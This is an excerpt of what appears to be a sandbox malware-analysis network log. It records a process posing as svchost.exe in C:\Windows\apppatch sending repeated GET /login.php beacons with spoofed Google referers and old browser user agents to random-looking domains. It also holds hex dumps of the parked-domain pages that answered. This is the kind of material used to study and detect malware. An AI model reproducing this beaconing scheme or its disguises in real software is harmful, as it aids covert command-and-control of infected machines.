                                                                                                                                                                                                                    Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 69 32 37 41 78 42 52 43 7a 55 6b 53 47 63 78 55 5a 39 72 62 6a 31 30 69 48 51 4f 64 36 75 46 53 38 53 54 79 61 30 5a 4c 74 66 4c 49 43 46 34 76 71 71 4e 31 72 47 78 6b 70 58 6d 39 6f 74 52 77 47 51 6e 6a 30 6a 77 4d 4d 59 68 61 38 48 74 53 61 6e 2f 55 61 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_i27AxBRCzUkSGcxUZ9rbj10iHQOd6uFS8STya0ZLtfLICF4vqqN1rGxkpXm9otRwGQnj0jwMMYha8HtSan/Uaw==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172131062 CET1236INData Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d
                                                                                                                                                                                                                    Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com AEChas it all. We hope you find what you are searching for!"><link rel="icon" type="im
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172147989 CET1236INData Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65
                                                                                                                                                                                                                    Data Ascii: lay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visib
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172329903 CET1236INData Raw: 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70
                                                                                                                                                                                                                    Data Ascii: tton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.anno
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172344923 CET1236INData Raw: 72 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69
                                                                                                                                                                                                                    Data Ascii: r a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprin
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172360897 CET1236INData Raw: 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d
                                                                                                                                                                                                                    Data Ascii: rgin-top:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transitio
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172630072 CET1236INData Raw: 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 2d 73
                                                                                                                                                                                                                    Data Ascii: nd-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff;font-
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172646999 CET1236INData Raw: 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 65 3b 66 6f 6e 74 2d
                                                                                                                                                                                                                    Data Ascii: rm:translateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left:5%;pad
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172662973 CET248INData Raw: 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72
                                                                                                                                                                                                                    Data Ascii: ;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-content--twot{min-he
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172910929 CET1236INData Raw: 37 32 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 74 77 6f 74 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2d 2d 74 77 6f 74 7b 6d 61 72 67 69 6e 3a 30 7d 2e 74
                                                                                                                                                                                                                    Data Ascii: 720px}.container-content--twot .container-content__container-ads--twot{margin:0}.two-tier-ads-list{padding:0 0 1.6em 0}.two-tier-ads-list__list-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.177072048 CET1236INData Raw: 68 74 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 77 65
                                                                                                                                                                                                                    Data Ascii: ht:30px;font-size:20px;color:#9fd801}.webarchive-block__list-element-link:link,.webarchive-block__list-element-link:visited{text-decoration:none}.webarchive-block__list-element-link:hover,.webarchive-block__list-element-link:active,.webarchive


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    90192.168.2.45018172.52.179.174807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.076944113 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    91192.168.2.45018272.52.179.17480
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:19.616959095 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    92192.168.2.45963952.34.198.229807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:21.980900049 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lygyvuj.com
                                                                                                                                                                                                                    Cookie: snkz=66.23.206.109; btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347323|1731347323|0|1|0
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.673712969 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347422|1731347323|49|2|0; path=/; domain=.lygyvuj.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    HTTPS Proxied Packets

                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    0192.168.2.44974175.2.71.1994437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:20 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC352INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=2592000
                                                                                                                                                                                                                    Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:21 GMT
                                                                                                                                                                                                                    Etag: "3eo735t95p19wv"
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Server: awselb/2.0
                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                    X-Powered-By: Next.js
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                                    Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                                    Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                                    Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                                    Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                                    Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                                    Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                                    Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                                    Data Ascii:
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                                    Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                                    Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    1192.168.2.449744188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:21 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC943INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:21 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
